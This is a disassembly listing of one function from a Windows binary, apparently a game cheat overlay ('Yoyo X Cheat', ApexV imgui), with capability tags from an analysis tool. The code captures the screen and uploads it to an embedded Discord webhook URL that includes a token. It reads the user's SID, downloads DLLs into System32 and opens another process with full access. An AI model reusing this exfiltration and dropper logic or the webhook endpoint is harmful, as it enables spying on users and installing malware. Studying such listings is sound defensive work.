Function at 0x1400380b0
Capabilities:
Capture screenshot
Contain obfuscated stackstrings
Create process on windows
Download url
Get system information on windows
Hide graphical window
Log keystrokes via polling
Receive data
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x460
movaps xmmword [rax - 0x28], xmm6
xor r12d, r12d
lea rcx, [0x140111810]
call fcn.1400442a0
cmp byte [0x140111a28], r12b
jne 0x140038112
lea rcx, [0x140111a30]
call fcn.140032a80
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r14d, eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov edi, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r15, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rsi, rax
mov r8d, edi
mov edx, r14d
mov rcx, r15
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov r13, rax
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.GDI32.dll_SelectObject]
mov rbx, rax
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], edi
mov r9d, r14d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.GDI32.dll_BitBlt]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
xorps xmm0, xmm0
movups xmmword [rsp + 0xe8], xmm0
mov qword [rsp + 0xf8], r12
mov qword [rsp + 0x100], reloc.WS2_32.dll_ntohs
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140097cd4
mov rdx, rax
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf8], reloc.WLDAP32.dll_Ordinal_22
mov qword [rsp + 0x100], Ordinal_33
movups xmm0, xmmword [str.C:WindowsTemp00.png]
movups xmmword [rax], xmm0
mov ecx, dword [0x1400b6040]
mov dword [rax + 0x10], ecx
movzx eax, word [0x1400b6044]
mov word [rdx + 0x14], ax
mov byte [rdx + 0x16], 0
mov qword [rsp + 0x120], r12
mov ecx, 0x80
call fcn.140097cd4
mov rcx, rax
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x128], 0x79
mov qword [rsp + 0x130], 0x7f
movaps xmm0, xmmword [str.https:__discord.com_api_webhooks_1189607603395903528_ihj4DNqanZcYNywA8Xn5i38qEDVCZKOKqcXmPgZ9FJP5q5SNt4tZFChm_M6FfpbXPXdG]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400b6060]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400b6070]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400b6080]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400b6090]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400b60a0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400b60b0]
movups xmmword [rax + 0x60], xmm0
movsd xmm0, qword [0x1400b60c0]
movsd qword [rax + 0x70], xmm0
movzx eax, byte [0x1400b60c8]
mov byte [rcx + 0x78], al
mov byte [rcx + 0x79], 0
mov ecx, 3
call qword [0x1400b69f8]
call qword [fcn.14004a250]
mov rdi, rax
mov r15d, 1
test rax, rax
je 0x1400383b7
mov qword [rsp + 0x68], r12
mov qword [rsp + 0xd8], r12
lea rcx, [rsp + 0xe8]
cmp qword [rsp + 0x100], 0xf
cmova rcx, qword [rsp + 0xe8]
mov dword [rsp + 0x30], reloc.WS2_32.dll_recvfrom
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0xa
lea r9, str.file
mov r8d, r15d
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x68]
call qword [0x1400b69e0]
lea r8, [rsp + 0x118]
cmp qword [rsp + 0x130], 0xf
cmova r8, qword [rsp + 0x118]
mov edx, 0x2712
mov rcx, rdi
call qword [fcn.14004cb30]
mov r8, qword [rsp + 0x68]
mov edx, 0x2728
mov rcx, rdi
call qword [fcn.14004cb30]
mov rcx, rdi
call qword [fcn.14004a310]
test eax, eax
je 0x1400383a3
mov ecx, eax
call qword [fcn.140049940]
mov rbx, rax
lea ecx, [r15 + 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rbx
lea rdx, str.curl_easy_perform___failed:__s_n
mov rcx, rax
call fcn.140036a00
mov rcx, rdi
call qword [0x1400b69d0]
mov rcx, qword [rsp + 0x68]
call qword [fcn.14008cba0]
call qword [0x1400b69f0]
mov rdx, qword [rsp + 0x130]
cmp rdx, 0xf
jbe 0x140038403
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400383fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400383fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140098028
mov rcx, r13
call qword [sym.imp.GDI32.dll_DeleteObject]
nop
mov rdx, qword [rsp + 0x100]
cmp rdx, 0xf
jbe 0x140038454
inc rdx
mov rcx, qword [rsp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003844e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003844e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140098028
nop
jmp 0x14003845e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x68]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140038550
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ecx, dword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x14003853c
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x70]
mov r8, rbx
mov edx, r15d
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14003853c
lea rdx, [rsp + 0x78]
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidW]
test eax, eax
je 0x14003853c
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0xe8]
call fcn.140039d60
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [rsp + 0xe8]
movups xmmword [rsp + 0x150], xmm0
movups xmm1, xmmword [rsp + 0xf8]
movups xmmword [rsp + 0x160], xmm1
jmp 0x140038565
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x1400b6028]
lea rcx, [rsp + 0x150]
call fcn.140039d60
nop
lea rdx, str.S_1_5_21_2328253750_1810186223_3595352723_1001
lea rcx, [rsp + 0x1c0]
call fcn.140039d60
nop
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
mov qword [rsp + 0xe0], r12
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x20], rax
lea r9, [0x14009bdd0]
mov r8d, r15d
xor edx, edx
lea rcx, [0x14009bde0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x1400385f8
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x28]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rdx, rax
mov rcx, qword [rsp + 0xe0]
call rbx
mov rcx, qword [rsp + 0xe0]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, [rsp + 0x1c0]
mov r13, qword [rsp + 0x1d8]
cmp r13, 7
seta byte [rsp + 0x60]
mov rsi, qword [rsp + 0x1c0]
cmova rcx, rsi
lea r8, [rsp + 0x150]
mov rdi, qword [rsp + 0x150]
mov r14, qword [rsp + 0x168]
cmp r14, 7
cmova r8, rdi
mov r9, qword [rsp + 0x160]
cmp r9, qword [rsp + 0x1d0]
jne 0x140038694
mov rdx, r9
test r9, r9
je 0x140038685
sub r8, rcx
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x140038694
add rcx, 2
sub rdx, 1
jne 0x140038660
test r9, r9
je 0x140038685
mov byte [0x1401117b9], 1
jmp 0x140039b27
cmp byte [0x1401117b9], 0
jne 0x140039b27
jmp 0x14003869b
mov byte [0x1401117b9], 0
lea rcx, [rsp + 0x2c0]
lea rbx, [0x140000000]
lea rax, [rbx + 0xb6130]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rcx + 0xb0], rax
movups xmm0, xmmword [str.C:WindowsSystem32kernel32.dll]
movups xmmword [rsp + 0x230], xmm0
movups xmm1, xmmword [0x1400b61f8]
movups xmmword [rsp + 0x240], xmm1
movzx eax, byte [0x1400b6208]
mov byte [rsp + 0x250], al
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rsp + 0x230]
lea rdx, [rsp + 0x2c0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0x380]
lea rax, [rbx + 0xb6210]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movzx eax, byte [rax + 0xc0]
mov byte [rcx + 0x40], al
movups xmm0, xmmword [str.C:WindowsSystem32charme_compressed.dll]
movups xmmword [rsp + 0x258], xmm0
movups xmm1, xmmword [0x1400b62e8]
movups xmmword [rsp + 0x268], xmm1
movsd xmm0, qword [0x1400b62f8]
movsd qword [rsp + 0x278], xmm0
movzx eax, word [0x1400b6300]
mov word [rsp + 0x280], ax
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rsp + 0x258]
lea rdx, [rsp + 0x380]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.140037270
mov rcx, rax
call fcn.140037540
test eax, eax
je 0x140038888
mov dword [0x1401117e0], eax
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1401117e8], rax
call fcn.140037270
mov rcx, rax
call fcn.140037540
test eax, eax
je 0x1400388bb
mov dword [0x1401117e0], eax
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1401117e8], rax
test rax, rax
jne 0x1400388d4
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Status_:_No_Process_Found_
lea rcx, str.Status_:
call fcn.140032cc0
mov dword [rsp + 0x170], 0x50
mov dword [rsp + 0x174], 0x40
lea rax, [0x140037b00]
mov qword [rsp + 0x178], rax
mov qword [rsp + 0x180], 0
mov qword [rsp + 0x188], r12
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rsp + 0x190], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rsp + 0x198], rax
mov qword [rsp + 0x1a0], r12
lea rax, str.Yoyo_X_Cheat
mov qword [rsp + 0x1a8], rax
lea rax, str.Service
mov qword [rsp + 0x1b0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rsp + 0x1b8], rax
lea rcx, [rsp + 0x170]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xdc]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0xb4
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
mov r9d, 0x8000000
lea r8, str.Service
mov rdx, qword [rsp + 0x1b0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x1401117c8], rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, qword [0x1401117c8]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, qword [0x1401117c8]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400b6590]
movdqu xmmword [rsp + 0x1e0], xmm0
lea rdx, [rsp + 0x1e0]
mov rcx, qword [0x1401117c8]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
movups xmmword [0x1401117d0], xmm0
lea rdx, [0x1401117d0]
mov rcx, qword [0x1401117c8]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov qword [rsp + 0x94], r12
mov qword [rsp + 0xa8], 2
mov qword [rsp + 0xc0], 2
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x90], Ordinal_33
mov dword [rsp + 0x88], reloc.WLDAP32.dll_Ordinal_60
mov dword [rsp + 0x8c], r15d
mov dword [rsp + 0xa4], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [0x1401117c8]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x9c], 1
mov qword [rsp + 0xb8], 1
mov dword [rsp + 0x68], 0xb000
mov dword [rsp + 0x6c], 0xa000
lea rbx, [0x140111ae8]
mov qword [rsp + 0x58], rbx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
lea rax, [0x140111ae0]
mov qword [rsp + 0x48], rax
lea rax, [0x140111ad8]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
cmp eax, 0x887a0004
jne 0x140038bcc
mov qword [rsp + 0x58], rbx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
lea rax, [0x140111ae0]
mov qword [rsp + 0x48], rax
lea rax, [0x140111ad8]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 5]
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x140038c98
call fcn.140037a80
mov rdx, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x1b0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
nop
cmp byte [rsp + 0x60], 0
je 0x140038c30
lea rdx, [r13*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140038c27
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140038c27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140098028
nop
cmp r14, 7
jbe 0x140038c6e
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140038c66
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140038c66
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.140098028
mov eax, r15d
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov rcx, qword [0x140111ad8]
mov rax, qword [rcx]
lea r9, [rsp + 0x78]
lea r8, [0x1400b6448]
xor edx, edx
call qword [rax + 0x48]
mov rcx, qword [0x140111ae0]
mov rax, qword [rcx]
lea r9, [0x140111ad0]
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
call qword [rax + 0x48]
mov rcx, qword [rsp + 0x78]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0xa
mov rcx, qword [0x1401117c8]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401117c8]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x1401117c0]
test rbx, rbx
je 0x140038d0b
inc dword [rbx + 0xf4]
mov ecx, 0x5dd0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0x61]
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0x78], rax
test rax, rax
je 0x140038d41
xor edx, edx
mov rcx, rax
call fcn.140001640
jmp 0x140038d44
mov rax, r12
mov qword [0x1401117c0], rax
call fcn.140009bd0
test rbx, rbx
je 0x140038d5e
mov qword [0x1401117c0], rbx
jmp 0x140038d65
mov rbx, qword [0x1401117c0]
test rbx, rbx
jne 0x140038d8b
mov r8d, 0xf5d
lea rdx, str.F:ApexVSimgui_bimsocoolV2imgui_bimsocoolimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1401117c0]
or dword [rbx + 8], 3
lea rdi, [0x1400b4ea8]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x1400b6524]
mov r8d, 0x4ba44
lea rdx, [0x1400c4100]
mov rcx, qword [rbx + 0x58]
call fcn.140029d00
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x1400b6538]
mov r8d, 0xf6c
lea rdx, [0x14010fb50]
mov rcx, qword [rbx + 0x58]
call fcn.140029d00
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x1400b651c]
mov r8d, 0x4ba44
lea rdx, [0x1400c4100]
mov rcx, qword [rbx + 0x58]
call fcn.140029d00
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x1400b652c]
mov r8d, 0xf6c
lea rdx, [0x14010fb50]
mov rcx, qword [rbx + 0x58]
call fcn.140029d00
xor ecx, ecx
call fcn.140024cc0
mov rsi, qword [0x1401117c8]
mov rdi, qword [0x1401117c0]
test rdi, rdi
jne 0x140038e71
mov r8d, 0xf5d
lea rdx, str.F:ApexVSimgui_bimsocoolV2imgui_bimsocoolimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdi, qword [0x1401117c0]
cmp qword [rdi + 0x98], 0
je 0x140038e95
mov r8d, 0x76
lea rdx, str.F:ApexVSimgui_bimsocoolV2imgui_bimsocool_backendsimgui_impl_win32.cpp
lea rcx, str.io.BackendPlatformUserData__nullptr___Already_initialized_a_platform_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14003901d
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14003901d
mov rax, qword [0x1401117c0]
test rax, rax
je 0x140038ecd
inc dword [rax + 0xf4]
mov ecx, 0x48
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov qword [rsp + 0xd0], rax
test rax, rax
je 0x140038f02
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
mov qword [rbx + 0x40], rax
jmp 0x140038f05
mov rbx, r12
mov qword [rdi + 0x98], rbx
lea rax, str.imgui_impl_win32
mov qword [rdi + 0x88], rax
or dword [rdi + 0xc], 6
mov qword [rbx], rsi
mov rax, qword [rsp + 0x68]
mov qword [rbx + 0x20], rax
mov rax, qword [rsp + 0x70]
mov qword [rbx + 0x18], rax
mov dword [rbx + 0x28], 9
mov rdi, qword [0x1401117c0]
cmp dword [rdi + 0x4870], 0
jg 0x140038f64
mov r8d, 0x6fe
lea rdx, str.F:ApexVSimgui_bimsocoolV2imgui_bimsocoolimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rdi + 0x4878]
mov rcx, qword [rax]
mov qword [rcx + 0x28], rsi
mov byte [rbx + 0x2d], 1
lea rax, str.xinput1_4.dll
mov qword [rsp + 0xe8], rax
lea rax, str.xinput1_3.dll
mov qword [rsp + 0xf0], rax
lea rax, str.xinput9_1_0.dll
mov qword [rsp + 0xf8], rax
lea rax, str.xinput1_2.dll
mov qword [rsp + 0x100], rax
lea rax, str.xinput1_1.dll
mov qword [rsp + 0x108], rax
mov rdi, r12
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rsp + rdi*8 + 0xe8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x140038ff1
inc rdi
cmp rdi, 5
jl 0x140038fd0
jmp 0x14003901d
mov qword [rbx + 0x30], rsi
lea rdx, str.XInputGetCapabilities
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x38], rax
lea rdx, str.XInputGetState
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x40], rax
mov r14, qword [0x140111ae8]
mov rsi, qword [0x140111ae0]
mov rax, qword [0x1401117c0]
test rax, rax
jne 0x140039058
mov r8d, 0xf5d
lea rdx, str.F:ApexVSimgui_bimsocoolV2imgui_bimsocoolimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401117c0]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], 0
je 0x140039087
mov r8d, 0x221
lea rdx, str.F:ApexVSimgui_bimsocoolV2imgui_bimsocool_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401117c0]
test rax, rax
je 0x140039092
inc dword [rax + 0xf4]
mov ecx, 0x78
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov qword [rsp + 0xd0], rax
test rax, rax
je 0x1400390e1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
movups xmmword [rbx + 0x60], xmm0
mov qword [rbx + 0x70], rax
mov dword [rbx + 0x70], 0x1388
mov dword [rbx + 0x74], 0x2710
jmp 0x1400390e4
mov rbx, r12
mov qword [rdi + 0x98], rbx
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
or dword [rdi + 4], 8
mov qword [rsp + 0x110], r12
mov qword [rsp + 0x78], r12
mov qword [rsp + 0xd8], r12
mov rax, qword [rsi]
lea r8, [rsp + 0x110]
lea rdx, [0x1400b5b50]
mov rcx, rsi
call qword [rax]
test eax, eax
jne 0x14003917c
mov rcx, qword [rsp + 0x110]
mov rax, qword [rcx]
lea r8, [rsp + 0x78]
lea rdx, [0x1400b5b60]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x14003917c
mov rcx, qword [rsp + 0x78]
mov rax, qword [rcx]
lea r8, [rsp + 0xd8]
lea rdx, [0x1400b5b70]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x14003917c
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rsp + 0xd8]
mov qword [rbx + 0x10], rax
mov rcx, qword [rsp + 0x110]
test rcx, rcx
je 0x14003918f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14003919f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
xor bl, bl
mov dword [rsp + 0x70], ebx
movss xmm6, dword [0x1400b6508]
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x288]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140039236
nop
lea rcx, [rsp + 0x288]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x288]
call qword [sym.imp.USER32.dll_DispatchMessageA]
movzx ebx, bl
cmp dword [rsp + 0x290], 0x12
cmove ebx, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x288]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x1400391e0
mov dword [rsp + 0x70], ebx
test bl, bl
jne 0x14003993f
mov rbx, qword [0x1401117c0]
test rbx, rbx
je 0x140039250
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x14003926d
jmp 0x140039253
mov rbx, r12
mov r8d, 0x250
